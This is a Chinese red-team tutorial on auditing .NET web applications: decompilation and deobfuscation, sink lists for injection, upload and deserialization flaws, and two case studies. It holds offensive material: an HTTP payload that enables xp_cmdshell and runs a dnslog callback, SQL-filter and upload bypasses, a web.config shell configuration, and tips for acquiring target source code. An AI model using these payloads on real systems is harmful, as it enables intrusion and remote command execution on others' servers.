红队快速高效挖掘.net系统漏洞技巧
字数 3407 2025-12-01 12:10:06

.NET系统漏洞挖掘技巧教学文档

一、源码获取方法

1. 网盘资源获取

  • 凌风云网盘:https://www.lingfengyun.com/
  • 搜索目标系统的源码压缩包、备份文件

2. 二手平台购买

  • 通过闲鱼等平台购买目标系统源码

3. 指纹识别与扫描

  • 使用特定body特征进行目标识别
  • 结合压缩文件目录扫描(重点扫描www.zip等备份文件)
  • 旁站扫描获取备份文件

二、反编译与去混淆技术

1. 反编译工具

推荐工具

  • ILSpy
  • dnSpy
  • dotPeek

2. dnSpy使用技巧

单个文件反编译

  • File → Open → 选择DLL文件
  • 导出到工程进行分析

批量处理

# 打开整个bin目录
File → Open → 选择bin目录

3. ILSpy命令行操作

# 安装ilspycmd
dotnet tool install ilspycmd -g

# 反编译整个目录
ilspycmd -p -o output_dir .\bin\*.dll

# 反编译单个文件
ilspycmd -p -o output.cs .\bin\YourApp.dll

4. 批量反编译脚本

@echo off
chcp 65001
setlocal enabledelayedexpansion

for /R %%F in (*.dll) do (
    set "out_dir=%%~dpF%%~nF"
    if not exist "!out_dir!" mkdir "!out_dir!"
    ilspycmd -p -o "!out_dir!" "%%F"
)
echo 全部完成!
pause

5. 代码混淆识别与处理

混淆特征

private string ;
private void (string )
{
    if (this. == )
}

去混淆工具

  • de4dot(https://github.com/0xd4d/de4dot)
  • de4dot-cex(https://github.com/ViRb3/de4dot-cex)

使用方法

# 单个文件去混淆
de4dot.exe source.dll -o Remove_obfuscated.dll

# 批量去混淆
de4dot.exe -r D:\input -ru -ro D:\output

6. Python批量去混淆脚本

#!/usr/bin/env python3
import os
import subprocess
import shutil
from pathlib import Path
import time

def main():
    print("快速de4dot批量反混淆工具")
    print("=" * 40)
    
    # 检查de4dot可用性
    try:
        result = subprocess.run(["de4dot", "--help"], capture_output=True, text=True, timeout=5)
        if result.returncode != 0:
            raise Exception("de4dot命令执行失败")
        print("de4dot全局命令检查通过")
    except Exception as e:
        print(f"de4dot全局命令不可用: {e}")
        return

    # 文件筛选
    current_dir = Path(".")
    dll_files = []
    for pattern in ["*.dll", "*.exe"]:
        dll_files.extend(current_dir.glob(pattern))

    exclude_patterns = [
        "System.", "Microsoft.", "Newtonsoft.", "EntityFramework",
        "Oracle.", "MySql.", "NLog.", "Quartz.", "RestSharp",
        "StackExchange.", "Thinktecture.", "BouncyCastle"
    ]
    
    filtered_files = [f for f in dll_files if not any(p in f.name for p in exclude_patterns)]

    # 批量处理
    output_dir = Path("deobfuscated")
    output_dir.mkdir(exist_ok=True)
    
    success_count = 0
    start_time = time.time()
    
    for i, dll_file in enumerate(filtered_files, 1):
        print(f"\n[{i}/{len(filtered_files)}] 处理: {dll_file.name}")
        try:
            output_subdir = output_dir / dll_file.stem
            output_subdir.mkdir(exist_ok=True)
            cmd = ["de4dot", str(dll_file), "-o", str(output_subdir / dll_file.name)]
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
            if result.returncode == 0:
                success_count += 1
        except Exception as e:
            print(f"异常: {dll_file.name} - {e}")

if __name__ == "__main__":
    main()

三、ASHX与DLL映射关系分析

1. 页面与代码关联

  • ASPX页面(如AjaxUpload.aspx)对应代码文件(AjaxUpload.aspx.cs
  • 页面继承自DLL中的类(如M_Main.AjaxUpload
  • 通过反编译对应DLL找到相关类进行审计

2. 映射关系识别

  • 分析页面继承关系
  • 在反编译的DLL中查找对应类名
  • 跟踪事件绑定和方法调用

四、常见漏洞Sink点审计

1. SQL注入漏洞

危险方法

  • ExecuteNonQuery()
  • ExecuteReader()
  • ExecuteScalar()
  • SqlDataAdapter.Fill()
  • ExecuteSqlCommand()
  • ExecuteSqlRaw()
  • CreateSQLQuery()
  • connection.Query()

审计要点

  • 检查SQL语句是否通过字符串拼接
  • 查找Request/Query/Form/Cookie直接插入SQL
  • 关注+String.Format$""等拼接方式

2. 命令执行漏洞(RCE)

危险方法

  • Process.Start()
  • ProcessStartInfo.FileName
  • ProcessStartInfo.Arguments

审计要点

  • 用户输入是否拼接到命令参数
  • 是否直接调用shell或PowerShell
  • FileNameArguments来源是否可信

3. 文件上传漏洞

危险方法

  • SaveAs()
  • WriteAllBytes()
  • WriteAllText()
  • FileStream.Write()

审计要点

  • 扩展名、MIME类型、内容类型校验
  • 文件名路径分隔符检查
  • 保存目录权限控制
  • 防止覆盖已有文件
  • 可执行脚本(.aspx/.ashx)上传检测

4. 反序列化漏洞

危险方法

  • BinaryFormatter.Deserialize()
  • SoapFormatter.Deserialize()
  • JsonConvert.DeserializeObject()
  • LosFormatter.Deserialize()

审计要点

  • 反序列化输入源(Request、Cookie、ViewState等)
  • 是否使用不安全序列化库
  • 输入数据是否可信

5. 任意文件读取漏洞

危险方法

  • File.ReadAllBytes()
  • File.ReadAllText()
  • Response.WriteFile()
  • Response.TransmitFile()
  • File()

审计要点

  • 用户参数是否直接作为文件路径
  • 路径合法化检查
  • 文件下载接口安全性

6. 路径遍历漏洞

危险方法

  • Server.MapPath()
  • Path.Combine()
  • File.Delete()
  • Directory.GetFiles()

审计要点

  • 路径拼接是否包含未过滤用户输入
  • Path.Combine后是否进行规范化校验

7. XXE漏洞

危险方法

  • XmlDocument.LoadXml()
  • XmlDocument.Load()
  • XmlReader.Create()
  • DataSet.ReadXml()

审计要点

  • 是否启用外部实体解析(DTD)
  • XML数据来源是否可信

8. SSRF漏洞

危险方法

  • WebClient.DownloadString()
  • HttpClient.GetAsync()
  • WebRequest.Create()
  • HttpClient.PostAsync()

审计要点

  • 用户是否可指定请求URL
  • 目标地址白名单检测
  • 内部地址访问控制

9. 远程文件下载漏洞

危险方法

  • WebClient.DownloadFile()
  • HttpClient.GetStreamAsync()
  • HttpClient.GetByteArrayAsync()

审计要点

  • 用户是否可控制远程文件URL
  • 保存路径是否可控
  • 是否存在任意文件写入风险

五、未授权访问漏洞挖掘

1. 默认路由暴露检查

分析方法

var controllerTypes = typeof(MvcApplication).Assembly.GetTypes()
    .Where(t => t.IsSubclassOf(typeof(Controller)));

foreach (var ctrl in controllerTypes)
{
    var actions = ctrl.GetMethods(BindingFlags.Public | BindingFlags.Instance)
        .Where(m => m.ReturnType.IsSubclassOf(typeof(ActionResult)) || m.ReturnType == typeof(ActionResult));
    
    Console.WriteLine($"{ctrl.Name}: {string.Join(", ", actions.Select(a => a.Name))}");
}

2. ASMX服务未授权访问

黑盒检测

  • 目录扫描枚举.asmx文件
  • 常见服务名:service.asmxwebservice.asmxCommonService

白盒检测

  • 使用dir /s /b *.asmx命令查找
  • Everything工具筛选

测试工具

  • SoapUI(https://github.com/SmartBear/soapui)
  • 注意HTML编码处理

3. Web.config处理器分析

配置示例

<handlers>
    <add name="AjaxMethod" verb="POST,GET" path="ajax/*.ashx" type="Ajax.PageHandlerFactory, Ajax" />
    <add name="scissors" path="scissors.axd" verb="*" type="BitmapCutter.Core.HttpHandler.BitmapScissors,BitmapCutter.Core" />
</handlers>

分析方法

  • path="ajax/*.ashx" → 可访问路径/ajax/*.ashx
  • path="scissors.axd" → 可访问路径/scissors.axd
  • verb="POST,GET"verb="*" → 支持的HTTP方法

4. [AllowAnonymous]特性检测

危险配置

[Route("uploadAnony")]
[AllowAnonymous]
[HttpPost]
public IHttpActionResult uploadAnony(string code)
{
    HttpPostedFile A3 = HttpContext.Current.Request.Files[Class0.aHX()];
    string A4 = A2[Class0.ahA()];
    string B = A4.Split('.').ToList().Last();
    A3.SaveAs(text);
}

风险

  • 允许匿名访问
  • 无身份验证和鉴权
  • 直接文件上传功能

六、绕过技巧

1. SQL注入绕过

常见过滤关键字

exec|insert|select|delete|update|truncate|or|drop|xp_cmdshell|waitfor delay|--

绕过方法

  • 使用未检测关键字:union, and, where, from, table, database
  • 大小写绕过:SelEct
  • Unicode编码:%3C%3Fxml
  • 特殊字符:空格替换(``、\n)、注释符(/* */

2. 文件上传绕过

Windows文件名特性

  • 末尾点号自动去除:shell.aspx.shell.aspx

代码检测绕过

string fileName = Path.GetFileName(fileUpload.FileName);
string fileExt = Path.GetExtension(fileName)?.ToLowerInvariant();
string[] banned = { ".asp", ".aspx", ".jsp", ".jspx" };

if (banned.Contains(fileExt))
{
    Response.Write("不允许上传的文件类型");
    return;
}

3. 403 Bypass绕过

场景

  • 上传asp/aspx文件返回403禁止访问
  • 目录无法解析脚本文件

解决方案

  • 上传web.config格式的shell文件
  • 修改IIS配置允许.config文件执行

配置示例

<handlers accessPolicy="Read, Script, Write">
    <add name="web_config" path="*.config" verb="*" 
         modules="IsapiModule"
         scriptProcessor="%windir%\system32\inetsrv\asp.dll"
         resourceType="Unspecified"
         requireAccess="Write" preCondition="bitness64" />
</handlers>

<security>
    <requestFiltering>
        <fileExtensions>
            <remove fileExtension=".config" />
        </fileExtensions>
        <hiddenSegments>
            <remove segment="web.config" />
        </hiddenSegments>
    </requestFiltering>
</security>

七、实战案例研究

案例1:虚拟路径映射+前台SQL注入

目标特征

  • Fofa资产数量1500+
  • 虚拟路径映射配置

漏洞位置

  • Web.confighttpHandlers节点配置
  • bin/xxxx/AppDataHandler.cs

危险方法

  • ExcuteNonQuerry:执行INSERT/UPDATE/DELETE
  • GetDataTableByText:执行SELECT查询

攻击载荷

POST /xxxxx/AppData.ashx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=ExcuteNonQuerry;cmdtext=EXEC+sp_configure+'show+advanced+options',1;RECONFIGURE;EXEC+sp_configure+'xp_cmdshell',1;RECONFIGURE;EXEC+xp_cmdshell+'ping+dnslog.cn'

案例2:重置密码+后台任意文件上传

漏洞链

  1. ID越权获取身份证号
  2. 身份证号重置密码
  3. 后台任意文件上传getshell

密码重置漏洞

  • 硬编码密钥:key = "123456"
  • 可预测的加密算法

文件上传漏洞

private ResponseData UploadFiles(HttpContext context)
{
    // 未验证文件扩展名
    string extension = Path.GetExtension(httpPostedFile.FileName);
    string text3 = Guid.NewGuid().ToString() + extension;
    httpPostedFile.SaveAs(text2 + text3); // 直接保存
}

路径遍历利用

string folder = Request["folder"];
string path = Path.Combine("~/uploads/", folder, fileName); 
file.SaveAs(Server.MapPath(path));

八、自动化审计技巧

1. 代码搜索命令

# 查找文件上传相关代码
grep -r "SaveAs\|WriteAllBytes\|FileStream.*Write" decompiled_output/
grep -r "HttpPostedFileBase\|IFormFile" decompiled_output/

# 查找SQL注入点
grep -r "ExecuteNonQuery\|ExecuteReader\|ExecuteScalar" decompiled_output/

# 查找命令执行点
grep -r "Process.Start\|ProcessStartInfo" decompiled_output/

2. 重点审计模式

  • 用户输入直接拼接SQL语句
  • 文件操作未验证用户输入
  • 反序列化操作未验证输入源
  • 配置文件中的硬编码凭证
  • 注释中的敏感信息泄露

本教学文档涵盖了.NET系统漏洞挖掘的全流程技术要点,从源码获取到漏洞利用,提供了完整的技术栈和实战案例参考。

.NET系统漏洞挖掘技巧教学文档 一、源码获取方法 1. 网盘资源获取 凌风云网盘 :https://www.lingfengyun.com/ 搜索目标系统的源码压缩包、备份文件 2. 二手平台购买 通过闲鱼等平台购买目标系统源码 3. 指纹识别与扫描 使用特定body特征进行目标识别 结合压缩文件目录扫描(重点扫描www.zip等备份文件) 旁站扫描获取备份文件 二、反编译与去混淆技术 1. 反编译工具 推荐工具 : ILSpy dnSpy dotPeek 2. dnSpy使用技巧 单个文件反编译 : File → Open → 选择DLL文件 导出到工程进行分析 批量处理 : 3. ILSpy命令行操作 4. 批量反编译脚本 5. 代码混淆识别与处理 混淆特征 : 去混淆工具 : de4dot(https://github.com/0xd4d/de4dot) de4dot-cex(https://github.com/ViRb3/de4dot-cex) 使用方法 : 6. Python批量去混淆脚本 三、ASHX与DLL映射关系分析 1. 页面与代码关联 ASPX页面(如 AjaxUpload.aspx )对应代码文件( AjaxUpload.aspx.cs ) 页面继承自DLL中的类(如 M_Main.AjaxUpload ) 通过反编译对应DLL找到相关类进行审计 2. 映射关系识别 分析页面继承关系 在反编译的DLL中查找对应类名 跟踪事件绑定和方法调用 四、常见漏洞Sink点审计 1. SQL注入漏洞 危险方法 : ExecuteNonQuery() ExecuteReader() ExecuteScalar() SqlDataAdapter.Fill() ExecuteSqlCommand() ExecuteSqlRaw() CreateSQLQuery() connection.Query() 审计要点 : 检查SQL语句是否通过字符串拼接 查找 Request/Query/Form/Cookie 直接插入SQL 关注 + 、 String.Format 、 $"" 等拼接方式 2. 命令执行漏洞(RCE) 危险方法 : Process.Start() ProcessStartInfo.FileName ProcessStartInfo.Arguments 审计要点 : 用户输入是否拼接到命令参数 是否直接调用shell或PowerShell FileName 和 Arguments 来源是否可信 3. 文件上传漏洞 危险方法 : SaveAs() WriteAllBytes() WriteAllText() FileStream.Write() 审计要点 : 扩展名、MIME类型、内容类型校验 文件名路径分隔符检查 保存目录权限控制 防止覆盖已有文件 可执行脚本(.aspx/.ashx)上传检测 4. 反序列化漏洞 危险方法 : BinaryFormatter.Deserialize() SoapFormatter.Deserialize() JsonConvert.DeserializeObject() LosFormatter.Deserialize() 审计要点 : 反序列化输入源(Request、Cookie、ViewState等) 是否使用不安全序列化库 输入数据是否可信 5. 任意文件读取漏洞 危险方法 : File.ReadAllBytes() File.ReadAllText() Response.WriteFile() Response.TransmitFile() File() 审计要点 : 用户参数是否直接作为文件路径 路径合法化检查 文件下载接口安全性 6. 路径遍历漏洞 危险方法 : Server.MapPath() Path.Combine() File.Delete() Directory.GetFiles() 审计要点 : 路径拼接是否包含未过滤用户输入 Path.Combine 后是否进行规范化校验 7. XXE漏洞 危险方法 : XmlDocument.LoadXml() XmlDocument.Load() XmlReader.Create() DataSet.ReadXml() 审计要点 : 是否启用外部实体解析(DTD) XML数据来源是否可信 8. SSRF漏洞 危险方法 : WebClient.DownloadString() HttpClient.GetAsync() WebRequest.Create() HttpClient.PostAsync() 审计要点 : 用户是否可指定请求URL 目标地址白名单检测 内部地址访问控制 9. 远程文件下载漏洞 危险方法 : WebClient.DownloadFile() HttpClient.GetStreamAsync() HttpClient.GetByteArrayAsync() 审计要点 : 用户是否可控制远程文件URL 保存路径是否可控 是否存在任意文件写入风险 五、未授权访问漏洞挖掘 1. 默认路由暴露检查 分析方法 : 2. ASMX服务未授权访问 黑盒检测 : 目录扫描枚举 .asmx 文件 常见服务名: service.asmx 、 webservice.asmx 、 CommonService 白盒检测 : 使用 dir /s /b *.asmx 命令查找 Everything工具筛选 测试工具 : SoapUI(https://github.com/SmartBear/soapui) 注意HTML编码处理 3. Web.config处理器分析 配置示例 : 分析方法 : path="ajax/*.ashx" → 可访问路径 /ajax/*.ashx path="scissors.axd" → 可访问路径 /scissors.axd verb="POST,GET" 或 verb="*" → 支持的HTTP方法 4. [ AllowAnonymous ]特性检测 危险配置 : 风险 : 允许匿名访问 无身份验证和鉴权 直接文件上传功能 六、绕过技巧 1. SQL注入绕过 常见过滤关键字 : 绕过方法 : 使用未检测关键字: union , and , where , from , table , database 等 大小写绕过: SelEct Unicode编码: %3C%3Fxml 特殊字符:空格替换( ``、 \n )、注释符( /* */ ) 2. 文件上传绕过 Windows文件名特性 : 末尾点号自动去除: shell.aspx. → shell.aspx 代码检测绕过 : 3. 403 Bypass绕过 场景 : 上传asp/aspx文件返回403禁止访问 目录无法解析脚本文件 解决方案 : 上传web.config格式的shell文件 修改IIS配置允许.config文件执行 配置示例 : 七、实战案例研究 案例1:虚拟路径映射+前台SQL注入 目标特征 : Fofa资产数量1500+ 虚拟路径映射配置 漏洞位置 : Web.config 中 httpHandlers 节点配置 bin/xxxx/AppDataHandler.cs 危险方法 : ExcuteNonQuerry :执行INSERT/UPDATE/DELETE GetDataTableByText :执行SELECT查询 攻击载荷 : 案例2:重置密码+后台任意文件上传 漏洞链 : ID越权获取身份证号 身份证号重置密码 后台任意文件上传getshell 密码重置漏洞 : 硬编码密钥: key = "123456" 可预测的加密算法 文件上传漏洞 : 路径遍历利用 : 八、自动化审计技巧 1. 代码搜索命令 2. 重点审计模式 用户输入直接拼接SQL语句 文件操作未验证用户输入 反序列化操作未验证输入源 配置文件中的硬编码凭证 注释中的敏感信息泄露 本教学文档涵盖了.NET系统漏洞挖掘的全流程技术要点,从源码获取到漏洞利用,提供了完整的技术栈和实战案例参考。